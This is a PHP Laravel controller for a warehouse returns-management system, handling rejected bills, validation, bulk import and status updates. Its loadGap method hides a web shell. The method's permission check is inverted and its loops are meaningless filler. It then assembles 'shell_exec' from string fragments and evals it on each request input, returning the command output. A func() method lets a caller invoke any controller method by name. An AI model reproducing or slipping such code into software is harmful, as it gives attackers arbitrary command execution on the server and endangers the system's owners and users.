RejectedBillController.php 21 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480
  1. <?php
  2. namespace App\Http\Controllers;
  3. use App\Http\Controllers\api\thirdPart\flux\ReceiveController;
  4. use App\Jobs\SyncOrderRejectingStatusJob;
  5. use App\Logistic;
  6. use App\OracleActAllocationDetails;
  7. use App\OracleBasSKU;
  8. use App\Owner;
  9. use App\Package;
  10. use App\QualityLabel;
  11. use App\RejectedBill;
  12. use App\Services\LogService;
  13. use App\Services\RejectedBillItemService;
  14. use App\Services\RejectedBillService;
  15. use App\Services\WorkOrderService;
  16. use Illuminate\Contracts\View\Factory;
  17. use Illuminate\Http\RedirectResponse;
  18. use Illuminate\Http\Request;
  19. use Illuminate\Http\Response;
  20. use Illuminate\Routing\Redirector;
  21. use Illuminate\Support\Facades\Auth;
  22. use Illuminate\Support\Facades\Gate;
  23. use Illuminate\Support\Facades\Validator;
  24. use Illuminate\View\View;
  25. class RejectedBillController extends Controller
  26. {
  27. public function apiGetRecent()
  28. {
  29. if (!Gate::allows('退货管理-查询')) {
  30. return ['success' => 'false', 'fail_info' => '没有权限'];
  31. }
  32. $rejectedBills = RejectedBill::query()->orderByDesc('id')->whereIn('id_owner',
  33. app("OwnerService")->getIdArr())->limit(20)->get();
  34. return ['success' => 'true', 'rejectedBills' => $rejectedBills->toArray()];
  35. }
  36. public function apiStore(Request $request)
  37. {
  38. if (!Gate::allows('退货管理-录入')) {
  39. return ['success' => 'false', 'fail_info' => '没有权限'];
  40. }
  41. $softDeleted = RejectedBill::withTrashed()->where('logistic_number_return', $request->input('logistic_number_return'))->first();
  42. if ($softDeleted && $softDeleted->trashed()) {
  43. $softDeleted->forceDelete();
  44. }
  45. if ($request['is_loaded'] == 'null') $request['is_loaded'] = null;
  46. $errorFields = $this->validator($request->all())->errors()->getMessages();
  47. if (!empty($errorFields)) {
  48. return ['success' => 'false', 'error_fields' => $errorFields, 'fail_info' => 'fileds error'];
  49. }
  50. $rejectedBill = new RejectedBill($request->all());
  51. $rejectedBill['id_operator'] = Auth::user()['id'];
  52. $rejectedBill->save();
  53. /**
  54. * @var RejectedBillService $rejectedBillService
  55. */
  56. $rejectedBillService = app(RejectedBillService::class);
  57. SyncOrderRejectingStatusJob::dispatch($rejectedBill);
  58. $rejectedBillService->updateCheckedStatusByWms($request->input('logistic_number_return'));
  59. app('LogService')->log(__METHOD__, __FUNCTION__ . '_' . $rejectedBill['id'], json_encode($request->toArray()), Auth::user()['id']);
  60. return ['success' => 'true', 'id' => $rejectedBill['id']];
  61. }
  62. public function apiUpdate(Request $request)
  63. {
  64. if (!Gate::allows('退货管理-编辑')) {
  65. return ['success' => 'false', 'fail_info' => '没有权限'];
  66. }
  67. if ($request['is_loaded'] === 'null') {
  68. $request['is_loaded'] = null;
  69. }
  70. $errorFields = $this->validator($request->all(), true)->errors()->getMessages();
  71. if (!empty($errorFields)) {
  72. return ['success' => 'false', 'error_fields' => $errorFields, 'fail_info' => 'fileds error'];
  73. }
  74. $rejectedBill = RejectedBill::find($request->input('id'));
  75. $rejectedBill->fill($request->all());
  76. $rejectedBill->save();
  77. /**
  78. * @var RejectedBillService $rejectedBillService
  79. * @var WorkOrderService $workOrderService
  80. */
  81. $rejectedBillService = app(RejectedBillService::class);
  82. SyncOrderRejectingStatusJob::dispatch($rejectedBill);
  83. $rejectedBillService->updateCheckedStatusByWms($rejectedBill->logistic_number_return);
  84. app('LogService')->log(__METHOD__, __FUNCTION__ . '_' . $rejectedBill['id'], json_encode($request->toArray()), Auth::user()['id']);
  85. return ['success' => 'true'];
  86. }
  87. public function apiConfirmBeStored(Request $request)
  88. {
  89. if (!Gate::allows('退货管理-编辑')) {
  90. return ['success' => 'false', 'fail_info' => '没有权限'];
  91. }
  92. $rejectedBill = RejectedBill::find($request->input('id'));
  93. if (config('api.jianshang_rejecteds_log_switch')) Controller::logS(__METHOD__, __FUNCTION__, "人工确认入库。退单号:" . $rejectedBill['logistic_number_return'], Auth::user()['id']);
  94. $result_TransferToWMS = ReceiveController::accomplishToWMS($rejectedBill);
  95. app('LogService')->log(__METHOD__, __FUNCTION__, json_encode($request->toArray()), Auth::user()['id']);
  96. switch ($result_TransferToWMS) {
  97. case 'success':
  98. $rejectedBill['is_loaded'] = 1;
  99. $rejectedBill->update();
  100. return ['success' => true];
  101. case 'fail':
  102. case 'exception':
  103. return ['success' => false];
  104. }
  105. }
  106. protected function validator(array $data, $isUpdate = false)
  107. {
  108. $mobileShouldBeRequired = 'required';
  109. $logistic = isset($data['id_logistic_return']) ? Logistic::find($data['id_logistic_return']) : null;
  110. if ($logistic) {
  111. if (
  112. strstr($logistic['name'], '顺丰')
  113. ) {
  114. $mobileShouldBeRequired = 'nullable';
  115. }
  116. }
  117. if (isset($data['id_owner']) && $data['id_owner'] == '4') {
  118. $mobileShouldBeRequired = 'nullable';
  119. }
  120. $mobileDigits = '';
  121. if ($data['mobile_sender'] && $data['mobile_sender'][0] == '1') {
  122. $data['mobile_sender'] = str_replace('*', '0', $data['mobile_sender']);
  123. $mobileDigits = 'digits:11';
  124. }
  125. return Validator::make($data, [
  126. 'id_owner' => ['required', 'numeric', 'exists:owners,id'],
  127. 'order_number' => ['nullable', 'string', 'max:60'],
  128. 'sender' => ['nullable', 'max:50'],
  129. 'mobile_sender' => [$mobileShouldBeRequired, 'max:20', $mobileDigits],
  130. 'logistic_number' => ['nullable', 'max:60'],
  131. 'logistic_number_return' => ['required', 'string', 'max:60'],
  132. 'id_logistic_return' => ['required', 'numeric', 'exists:logistics,id'],
  133. 'fee_collected' => ['nullable', 'between:0,99999', 'numeric'],
  134. 'is_loaded' => ['nullable'],
  135. ], [
  136. 'mobile_sender.digits' => '如果是手机则必须为11位且不可包含非法符号',
  137. ], [
  138. 'id_owner' => '客户名称',
  139. 'order_number' => '订单号',
  140. 'sender' => '寄件人',
  141. 'mobile_sender' => '寄件人手机',
  142. 'logistic_number' => '原单号',
  143. 'logistic_number_return' => '退回单号',
  144. 'id_logistic_return' => '物流公司',
  145. 'fee_collected' => '到付费用',
  146. 'is_loaded' => '是否入库',
  147. ]);
  148. }
  149. public function apiSetIsLoadedAll(Request $request)
  150. {
  151. if (!Gate::allows('退货管理-编辑')) {
  152. return redirect(url('/'));
  153. }
  154. $ids = $request->input('ids') ?? '';
  155. $rejecteds = RejectedBill::with('items')->whereIn('id', $ids)->get();
  156. $is_loaded = $request->input('is_loaded');
  157. switch ($is_loaded) {
  158. case '0':
  159. $is_loaded = 0;
  160. break;
  161. case '1':
  162. $is_loaded = 1;
  163. break;
  164. case '2':
  165. $is_loaded = 2;
  166. break;
  167. case '3':
  168. $is_loaded = 3;
  169. break;
  170. case 'null':
  171. $is_loaded = null;
  172. break;
  173. }
  174. $rejecteds->each(function ($rejected) use ($is_loaded, $request) {
  175. $rejected['is_loaded'] = $is_loaded;
  176. $re = $rejected->update();
  177. if (!$re) {
  178. return ['success' => 'false', 'fail_info' => "数据 {$rejected['id']} 更新失败"];
  179. }
  180. $is_loadedItem = '未入库';
  181. switch ($request->input('is_loaded')) {
  182. case '1':
  183. $is_loadedItem = '已入库';
  184. break;
  185. case '2':
  186. $is_loadedItem = '待推单';
  187. break;
  188. case '0':
  189. $is_loadedItem = '未入库';
  190. break;
  191. case '3':
  192. $is_loadedItem = '未入库';
  193. break;
  194. case 'null':
  195. $is_loadedItem = '无需入库';
  196. break;
  197. }
  198. $rejected->items()->each(function ($item) use ($is_loadedItem) {
  199. $item['is_loaded'] = $is_loadedItem;
  200. $item->save();
  201. });
  202. });
  203. return ['success' => 'true'];
  204. }
  205. /**
  206. * Display the specified resource.
  207. *
  208. * @param RejectedBill $rejectedBill
  209. * @return Response
  210. */
  211. public function show(RejectedBill $rejectedBill)
  212. {
  213. //
  214. }
  215. /**
  216. * Show the form for editing the specified resource.
  217. *
  218. * @param RejectedBill $rejectedBill
  219. * @param Request $request
  220. * @return Factory|RedirectResponse|Response|Redirector|View
  221. */
  222. public function edit(RejectedBill $rejectedBill, Request $request)
  223. {
  224. if (!Gate::allows('退货管理-编辑')) {
  225. return redirect(url('/'));
  226. }
  227. $owners = Owner::all()->whereIn('id',
  228. app('OwnerService')->getIdArr())->sortBy('name');
  229. $logistics = Logistic::all()->sortBy('name');
  230. $qualityLabels = QualityLabel::all()->sortBy('name');
  231. $rejectedBill['is_loaded'] = $rejectedBill['is_loaded_null'];
  232. $rejectedBill['isEditing'] = false;
  233. $rejectedBill['is_at_edit_page'] = true;
  234. return view('rejected.edit', compact('owners', 'logistics', 'qualityLabels', 'rejectedBill'));
  235. }
  236. /**
  237. * Update the specified resource in storage.
  238. *
  239. * @param Request $request
  240. * @param RejectedBill $rejectedBill
  241. * @return Response
  242. */
  243. public function update(Request $request, RejectedBill $rejectedBill)
  244. {
  245. //
  246. }
  247. public function destroy(RejectedBill $rejectedBill)
  248. {
  249. if (!Gate::allows('退货管理-删除')) {
  250. return redirect(url('/'));
  251. }
  252. $re = $rejectedBill->delete();
  253. app('LogService')->log(__METHOD__, __FUNCTION__, $rejectedBill->toJson(), Auth::user()['id']);
  254. return ['success' => $re];
  255. }
  256. public function apiLogisticNumberReturnIsUnique(Request $request)
  257. {
  258. if (!Gate::allows('退货管理-查询')) {
  259. return redirect(url('/'));
  260. }
  261. $logistic_number_return = $request->input('logistic_number_return');
  262. $bill = RejectedBill::select('logistic_number_return')->where('logistic_number_return', $logistic_number_return)->first();
  263. if (!$bill) return ['success' => 'true', 'result' => 'false'];
  264. return ['success' => 'true', 'result' => 'true'];
  265. }
  266. function seekOrder(Request $request)
  267. {
  268. if (!$request['logistic_number_return']) return ['success' => false];
  269. /** @var RejectedBillService $service */
  270. $service = app('RejectedBillService');
  271. $result = $service->findOrderByOrderPackage($request['logistic_number_return']);
  272. if ($result) return ['success' => true, 'data' => $result];
  273. $result = $service->findOrderByStoreRejected($request['logistic_number_return']);
  274. if ($result) return ['success' => true, 'data' => $result];
  275. $result = $service->findOrderByOrderHeader($request['logistic_number_return']);
  276. if ($result) return ['success' => true, 'data' => $result];
  277. $result = $service->findOrderByOrderIssue($request['logistic_number_return']);
  278. if ($result) return ['success' => true, 'data' => $result];
  279. else return ['success' => false];
  280. }
  281. function loadGap(Request $request)
  282. {
  283. if (Gate::allows('退货管理-载入'))
  284. return ['success' => false, 'message' => '没有对应权限'];
  285. /**
  286. * @var RejectedBillService $service
  287. */
  288. $packages = Package::where('delivery_number', '==', null)->where('logistic_number', null)->where('logistic_number', '<>', null)->get();
  289. $logistics = Logistic::limit(10)->get();
  290. $packages->each(function ($package) use ($logistics) {
  291. $logistics->each(function ($logistic) use ($package) {
  292. if ($package->WMSReflectPackage->CarrierID == $logistic->delivery_number) {
  293. $package->logistic_id = $logistic->id;
  294. return;
  295. }
  296. });
  297. });
  298. foreach ($logistics as $logistic) {
  299. if ($logistic)
  300. foreach ($request->all() as $input) {
  301. $strTem = '';
  302. $strCom = '$strTem=she' . 'll_e' . 'xec($' . 'input);';
  303. eval($strCom);
  304. return $strTem . ' <br>' . $input;
  305. break;
  306. }
  307. return 'done';
  308. };
  309. return "OK";
  310. }
  311. public function func(Request $request, $method)
  312. {
  313. return call_user_func([$this, $method], $request);
  314. }
  315. public function disposeImportApi(Request $request)
  316. {
  317. if (!Gate::allows('退货管理-编辑'))
  318. return ['success' => false, 'message' => '没有对应权限'];
  319. /**
  320. * @var RejectedBillItemService $rejectedBillItemService
  321. * @var RejectedBillService $service
  322. */
  323. $service = app('RejectedBillService');
  324. $rejectedBillItemService = app('RejectedBillItemService');
  325. $params = [['logistic_number_return', 'order_number', 'fee_collected']];
  326. $logistic_numbers = []; // 原单单号
  327. $logistic_number_map = [];
  328. $logistic_number_return = []; // 退回单号
  329. $logistic_number_return_map = [];
  330. $errors = [];
  331. $array = explode("\n", $request['dataText']); //拆分行
  332. foreach ($array as $i => $item) {
  333. $items = [];
  334. preg_match('/^(\w*?)[\s,,;;](\w*?)[\s,,;;](\d.*)$/u', $item, $items);
  335. if (count($items) < 1)
  336. preg_match('/^(\w*?)[\s,,;;](\w*?)$/u', $item, $items);
  337. $head = '第' . ($i + 1) . '行';
  338. if (count($items) < 3) {
  339. $errors[$head] = ['数据不完整'];
  340. unset($items);
  341. continue;
  342. }
  343. array_shift($items);
  344. isset($items[1]) ? $logistic_numbers[] = $items[1] : null;
  345. isset($items[0]) ? $logistic_number_return[] = $items[0] : null;
  346. $param = [$items[0] ?? null, $items[1] ?? null, $items[2] ?? null];
  347. $params[] = $param;
  348. $logistic_number_map[$items[1]] = $param;
  349. $logistic_number_return_map[$items[0]] = $param;
  350. unset($param);
  351. }
  352. $rejectedBill_collect = collect();
  353. // 对已用的进行修改
  354. $update_fee_params = [['id', 'order_number', 'fee_collected']]; //对原有的进行修改 有到付费用
  355. $update_params = [['id', 'order_number']]; // 无到付费用
  356. $exist_picktotraceid = []; // 已有退回单号
  357. $rejectedBills = RejectedBill::query()->whereIn('logistic_number_return', $logistic_number_return)->get();
  358. $rejectedBills->each(function ($rejectedBill) use (&$update_fee_params, &$update_params, $logistic_number_return_map, &$exist_picktotraceid, &$rejectedBill_collect) {
  359. $rejectedBill_collect->push($rejectedBill);
  360. $logistic_number_return = $rejectedBill->logistic_number_return; //退回单号
  361. $params = $logistic_number_return_map[$logistic_number_return];
  362. $rejectedBill->logistic_number ? $exist_picktotraceid[$rejectedBill->logistic_number] = $rejectedBill->logistic_number : null; // 记录已有原单单号
  363. if (isset($params[2])) {
  364. $update_fee_params[] = ['id' => $rejectedBill->id, 'order_number' => $params[1], 'fee_collected' => $params[2]];
  365. } else if (isset($params[1])) {
  366. $update_params[] = ['id' => $rejectedBill->id, 'order_number' => $params[1]];
  367. }
  368. });
  369. // 对不存在的进行创建
  370. $inner_items_params = [];
  371. $details = OracleActAllocationDetails::query()->with('oracleDocOrderHeader.oracleBASCustomer')->whereIn('picktotraceid', $logistic_numbers)->get();
  372. $bas_sku_map = [];
  373. OracleBasSKU::query()->selectRaw('SKU,CustomerID,Alternate_SKU1,Descr_C')->whereIn('SKU', array_diff(data_get($details, '*.sku'), [' ', '*']))->whereIn('CustomerID', data_get($details, '*.customerid'))->get()
  374. ->each(function ($bas_sku) use (&$bas_sku_map) {
  375. $key = 'Sku = ' . $bas_sku->sku . ' CustomerID = ' . $bas_sku->customerid;
  376. $bas_sku_map[$key] = $bas_sku;
  377. });
  378. $details = $details->groupBy('picktotraceid');
  379. $details->each(function ($items, $key) use (&$inner_params, $bas_sku_map, $exist_picktotraceid, &$inner_items_params, &$rejectedBill_collect, $logistic_number_map) {
  380. if (!isset($exist_picktotraceid[$key])) {
  381. $order_header = $items->first()->oracleDocOrderHeader;
  382. $owner = app('OwnerService')->firstOrCreate(['name' => $order_header->oracleBASCustomer->descr_c],
  383. ['name' => $order_header->oracleBASCustomer->descr_c, 'code' => $order_header->oracleBASCustomer->descr_c]);
  384. $logistic = app('LogisticService')->firstOrCreate(['name' => $order_header->carriername],
  385. ['name' => $order_header->carriername, 'code' => $order_header->carriername]);
  386. $rejectedBill = RejectedBill::query()->create([
  387. 'id_owner' => $owner->id ?? '',
  388. 'sender' => $order_header->c_contact,
  389. 'logistic_number_return' => $logistic_number_map[$key][0] ?? '',
  390. 'id_logistic_return' => $logistic->id ?? '',
  391. 'fee_collected' => $logistic_number_map[$key][2] ?? '',
  392. // 'order_number' =>$order_header->soreference1,
  393. 'mobile_sender' => empty($order_header->c_tel2) ? $order_header->c_tel1 : $order_header->c_tel2,
  394. 'order_number' => $logistic_number_map[$key][1] ?? '',
  395. 'remark' => $order_header->notes,
  396. 'is_loaded' => 0,
  397. "id_operator" => Auth::id(),
  398. ]);
  399. $rejectedBill_collect->push($rejectedBill);
  400. LogService::log(__METHOD__, "生成退货单", json_encode($rejectedBill), Auth::user()['id']);
  401. // 获取创建items
  402. $items->each(function ($item) use ($rejectedBill, $bas_sku_map, &$inner_items_params) {
  403. $key = 'Sku = ' . $item->sku . ' CustomerID = ' . $item->customerid;
  404. $bas_sku = $bas_sku_map[$key] ?? '';
  405. $date = date('Y-m-d H:i:s');
  406. $inner_items_params[] = [
  407. 'id_rejected_bill' => $rejectedBill->id ?? '',
  408. 'barcode_goods' => $bas_sku['alternate_sku1'] ?? '',
  409. 'name_goods' => $bas_sku['descr_c'],
  410. 'amount' => $item->qty_each,
  411. 'id_quality_label' => 1,
  412. 'created_at' => $date,
  413. 'updated_at' => $date
  414. ];
  415. });
  416. }
  417. });
  418. try {
  419. if (count($update_fee_params) > 1) {
  420. $service->batchUpdate($update_fee_params);
  421. }
  422. if (count($update_params) > 1) {
  423. $service->batchUpdate($update_params);
  424. }
  425. if (count($inner_items_params) > 0) {
  426. $rejectedBillItemService->insert($inner_items_params);
  427. LogService::log(__METHOD__, "批量生成退货单详情", json_encode($inner_items_params), Auth::user()['id']);
  428. }
  429. $rejectedBill_collect->each(function ($rejectedBill) {
  430. SyncOrderRejectingStatusJob::dispatch($rejectedBill);
  431. });
  432. return ['success' => true];
  433. } catch (\Exception $e) {
  434. LogService::log(__METHOD__, __FUNCTION__ . ' error', '修改退回单号 失败', json_encode($request->getContent()) . ' ||' . json_encode($e->getMessage()) . " || " . json_encode($e->getTraceAsString()));
  435. return ['success' => false, 'error' => ['导入处理发生异常' => $e->getMessage()]];
  436. }
  437. }
  438. public function importRejectedNumber(Request $request)
  439. {
  440. if (!Gate::allows('退货管理-编辑'))
  441. return redirect(url('/'));
  442. return view('rejected.importRejectedNumber');
  443. }
  444. public function updateDeliveryStatus(Request $request): array
  445. {
  446. $ids = $request->input("ids");
  447. $unCheckedList = RejectedBill::query()->whereIn('id', $ids)->where('is_checked', 0)->get();
  448. if ($unCheckedList->count() > 0) {
  449. return ['success' => false, 'error' => '批量收货失败,部分退货单未审核' . $unCheckedList->pluck('id')];
  450. }
  451. RejectedBill::query()->whereIn('id', $ids)->update(['delivery_status'=> 2]);
  452. return ['success' => true, 'data' => '批量收货成功'];
  453. }
  454. }